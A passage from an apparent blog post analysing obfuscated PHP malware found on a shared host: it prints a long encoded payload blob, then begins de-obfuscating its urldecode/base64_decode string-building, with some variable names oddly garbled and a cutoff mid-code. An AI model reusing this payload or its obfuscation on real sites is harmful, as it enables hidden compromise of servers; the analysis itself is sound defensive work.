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 &lt;/div&gt;&lt;/div&gt;
  &lt;div class='sourceblocklink'&gt;&lt;a href='http://www.smspower.org/maxim/WhySharedHostingSucks?action=sourceblock&amp;amp;num=1' type='text/plain'&gt;Get Code&lt;/a&gt;&lt;/div&gt;
&lt;/div&gt;

&lt;p class='vspace'&gt;It has been obfuscated using a rather lame commercial product called &lt;a class='urllink' href='http://phplockit.com/' rel='nofollow'&gt;PHP Lockit!&lt;/a&gt;. They claim it's encrypting the PHP, but that's a lie, it's half-assed obfuscation and easily reversed.
&lt;/p&gt;
&lt;p class='vspace'&gt;The first part is to urldecode a string and then build a bunch of strings out of it. Here it is with better variable names:
&lt;/p&gt;
&lt;div class='vspace'&gt;&lt;/div&gt;
&lt;div class='sourceblock ' id='sourceblock2'&gt;
  &lt;div class='sourceblocktext'&gt;&lt;div class=&#34;php&#34; style=&#34;font-family:monospace;&#34;&gt;&lt;span class=&#34;re0&#34;&gt;centerhars&lt;/span&gt;&lt;span class=&#34;sy0&#34;&gt;=&lt;/span&gt;&lt;span class=&#34;kw3&#34;&gt;urldecode&lt;/span&gt;&lt;span class=&#34;br0&#34;&gt;&amp;#40;&lt;/span&gt;&lt;span class=&#34;st_h&#34;&gt;'%66%67%36%73%62%65%68%70%72%61%34%63%6f%5f%74%6e%64'&lt;/span&gt;&lt;span class=&#34;br0&#34;&gt;&amp;#41;&lt;/span&gt;&lt;span class=&#34;sy0&#34;&gt;;&lt;/span&gt; &lt;span class=&#34;co1&#34;&gt;// centerhars = &amp;quot;fg6sbehpra4co_tnd&amp;quot;;&lt;/span&gt;&lt;br /&gt;
&lt;span class=&#34;re0&#34;&gt;$base64_decode&lt;/span&gt;&lt;span class=&#34;sy0&#34;&gt;=&lt;/span&gt;&lt;span class=&#34;re0&#34;&gt;centerhars&lt;/span&gt;&lt;span class=&#34;br0&#34;&gt;&amp;#123;&lt;/span&gt;&lt;span class=&#34;nu0&#34;&gt;4&lt;/span&gt;&lt;span class=&#34;br0&#34;&gt;&amp;#125;&lt;/span&gt;&lt;span class=&#34;sy0&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;re0&#34;&gt;centerhars&lt;/span&gt;&lt;span class=&#34;br0&#34;&gt;&amp;#123;&lt;/span&gt;&lt;span class=&#34;nu0&#34;&gt;9&lt;/span&gt;&lt;span class=&#34;br0&#34;&gt;&amp;#125;&lt;/span&gt;&lt;span class=&#34;sy0&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;re0&#34;&gt;centerhars&lt;/span&gt;&lt;span class=&#34;br0&#34;&gt;&amp;#123;&lt;/span&gt;&lt;span class=&#34;nu0&#34;&gt;3&lt;/span&gt;&lt;span class=&#34;br0&#34;&gt;&amp;#125;&lt;/span&gt;&lt;span class=&#34;sy0&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;re0&#34;&gt;centerhars&lt;/span&gt;&lt;span class=&#34;br0&#34;&gt;&amp;#123;&lt;/span&gt;&lt;span class=&#34;nu0&#34;&gt;5&lt;/span&gt;&lt;span class=&#34;br0&#34;&gt;&amp;#125;&lt;/span&gt;&lt;span class=&#34;sy0&#34;&gt;;&lt;/span&gt;&lt;br /&gt;
&lt;span class=&#34;re0&#34;&gt;$base64_decode&lt;/span&gt;&lt;span class=&#34;sy0&#34;&gt;.=&lt;/span&gt;&lt;span class=&#34;re0&#34;&gt;centerhars&lt;/span&gt;&lt;span class=&#34;br0&#34;&gt;&amp;#123;&lt;/span&gt;&lt;span class=&#34;nu0&#34;&gt;2&lt;/span&gt;&lt;span class=&#34;br0&#34;&gt;&amp;#125;&lt;/span&gt;&lt;span class=&#34;sy0&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;re0&#34;&gt;centerhars&lt;/span&gt;&lt;span class=&#34;br0&#34;&gt;&amp;#123;&lt;/span&gt;&lt;span class=&#34;nu0&#34;&gt;10&lt;/span&gt;&lt;span class=&#34;br0&#34;&gt;&amp;#125;&lt;/span&gt;&lt;span class=&#34;sy0&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;re0&#34;&gt;centerhars&lt;/span&gt;&lt;span class=&#34;br0&#34;&gt;&amp;#123;&lt;/span&gt;&lt;span class=&#34;nu0&#34;&gt;13&lt;/span&gt;&lt;span class=&#34;br0&#34;&gt;&amp;#125;&lt;/span&gt;&lt;span class=&#34;sy0&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;re0&#34;&gt;centerhars&lt;/span&gt;&lt;span class=&#34;br0&#34;&gt;&amp;#123;&lt;/span&gt;&lt;span class=&#34;nu0&#34;&gt;16&lt;/span&gt;&lt;span class=&#34;br0&#34;&gt;&amp;#125;&lt;/span&gt;&lt;span class=&#34;sy0&#34;&gt;;&lt;/span&gt;&lt;br /&gt;
&lt;span class=&#34;re0&#34;&gt;$base64_decode&lt;/span&gt;&lt;span class=&#34;sy0&#34;&gt;.=&lt;/span&gt;&lt;span class=&#34;re0&#34;&gt;$base64_decode&lt;/span&gt;&lt;span class=&#34;br0&#34;&gt;&amp;#123;&lt;/span&gt;&lt;span class=&#34;nu0&#34;&gt;3&lt;/span&gt;&lt;span class=&#34;br0&#34;&gt;&amp;#125;&lt;/span&gt;&lt;span class=&#34;sy0&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;re0&#34;&gt;centerhars&lt;/span&gt;&lt;span class=&#34;br0&#34;&gt;&amp;#123;&lt;/span&gt;&lt;span class=&#34;nu0&#34;&gt;11&lt;/span&gt;&lt;span class=&#34;br0&#34;&gt;&amp;#125;&lt;/span&gt;&lt;span class=&#34;sy0&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;re0&#34;&gt;centerhars&lt;/span&gt;&lt;span class=&#34;br0&#34;&gt;&amp;#123;&lt;/span&gt;&lt;span class=&#34;nu0&#34;&gt;12&lt;/span&gt;&lt;span class=&#34;br0&#34;&gt;&amp;#125;&lt;/span&gt;&lt;span class=&#34;sy0&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;re0&#34;&gt;$base64_decode&lt;/span&gt;&lt;span class=&#34;br0&#34;&gt;&amp;#123;&lt;/span&gt;&lt;span class=&#34;nu0&#34;&gt;7&lt;/span&gt;&lt;span class=&#34;br0&#34;&gt;&amp;#125;&lt;/span&gt;&lt;span class=&#34;sy0&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;re0&#34;&gt;centerhars&lt;/span&gt;&lt;span class=&#34;br0&#34;&gt;&amp;#123;&lt;/span&gt;&lt;span class=&#34;nu0&#34;&gt;5&lt;/span&gt;&lt;span class=&#34;br0&#34;&gt;&amp;#125;&lt;/span&gt;&lt;span class=&#34;sy0&#34;&gt;;&lt;/span&gt;&lt;br /&gt;
&lt;span class=&#34;re0&#34;&gt;local/localmap.txtopen&lt;/span&gt;&lt;span class=&#34;sy0&#34;&gt;=&lt;/span&gt;&lt;span class=&#34;re0&#34;&gt;centerhars&lt;/span&gt;&lt;span class=&#34;br0&#34;&gt;&amp;#123;&lt;/span&gt;&lt;span class=&#34;nu0&#34;&gt;0&lt;/span&gt;&lt;span class=&#34;br0&#34;&gt;&amp;#125;&lt;/span&gt;&lt;span class=&#34;sy0&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;re0&#34;&gt;centerhars&lt;/span&gt;&lt;span class=&#34;br0&#34;&gt;&amp;#123;&lt;/span&gt;&lt;span class=&#34;nu0&#34;&gt;12&lt;/span&gt;&lt;span class=&#34;br0&#34;&gt;&amp;#125;&lt;/span&gt;&lt;span class=&#34;sy0&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;re0&#34;&gt;centerhars&lt;/span&gt;&lt;span class=&#34;br0&#34;&gt;&amp;#123;&lt;/span&gt;&lt;span class=&#34;nu0&#34;&gt;7&lt;/span&gt;&lt;span class=&#34;br0&#34;&gt;&amp;#125;&lt;/span&gt;&lt;span class=&#34;sy0&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;re0&#34;&gt;centerhars&lt;/span&gt;&lt;span class=&#34;br0&#34;&gt;&amp;#123;&lt;/span&gt;&lt;span class=&#34;nu0&#34;&gt;5&lt;/span&gt;&lt;span class=&#34;br0&#34;&gt;&amp;#125;&lt;/span&gt;&lt;span class=&#34;sy0&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;re0&#34;&gt;centerhars&lt;/span&gt;&lt;span class=&#34;br0&#34;&gt;&amp;#123;&lt;/span&gt;&lt;span class=&#34;nu0&#34;&gt;15&lt;/span&gt;&lt;span class=&#34;br0&#34;&gt;&amp;#125;&lt;/span&gt;&lt;span class=&#34;sy0&#34;&gt;;&lt;/span&gt;&lt;br /&gt;
&lt;span class=&#34;re0&#34;&gt;local/localmap.txtgets&lt;/span&gt;&lt;span class=&#34;sy0&#34;&gt;=&lt;/span&gt;&lt;span class=&#34;re0&#34;&gt;centerhars&lt;/span&gt;&lt;span class=&#34;br0&#34;&gt;&amp;#123;&lt;/span&gt;&lt;span class=&#34;nu0&#34;&gt;0&lt;/span&gt;&lt;span class=&#34;br0&#34;&gt;&amp;#125;&lt;/span&gt;&lt;span class=&#34;sy0&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;re0&#34;&gt;centerhars&lt;/span&gt;&lt;span class=&#34;br0&#34;&gt;&amp;#123;&lt;/span&gt;&lt;span class=&#34;nu0&#34;&gt;1&lt;/span&gt;&lt;span class=&#34;br0&#34;&gt;&amp;#125;&lt;/span&gt;&lt;span class=&#34;sy0&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;re0&#34;&gt;centerhars&lt;/span&gt;&lt;span class=&#34;br0&#34;&gt;&amp;#123;&lt;/span&gt;&lt;span class=&#34;nu0&#34;&gt;5&lt;/span&gt;&lt;span class=&#34;br0&#34;&gt;&amp;#125;&lt;/span&gt;&lt;span class=&#34;sy0&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;re0&#34;&gt;centerhars&lt;/span&gt;&lt;span class=&#34;br0&#34;&gt;&amp;#123;&lt;/span&gt;&lt;span class=&#34;nu0&#34;&gt;14&lt;/span&gt;&lt;span class=&#34;br0&#34;&gt;&amp;#125;&lt;/span&gt;&lt;span class=&#34;sy0&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;re0&#34;&gt;centerhars&lt;/span&gt;&lt;span class=&#34;br0&#34;&gt;&amp;#123;&lt;/span&gt;&lt;span class=&#34;nu0&#34;&gt;3&lt;/span&gt;&lt;span class=&#34;br0&#34;&gt;&amp;#125;&lt;/span&gt;&lt;span 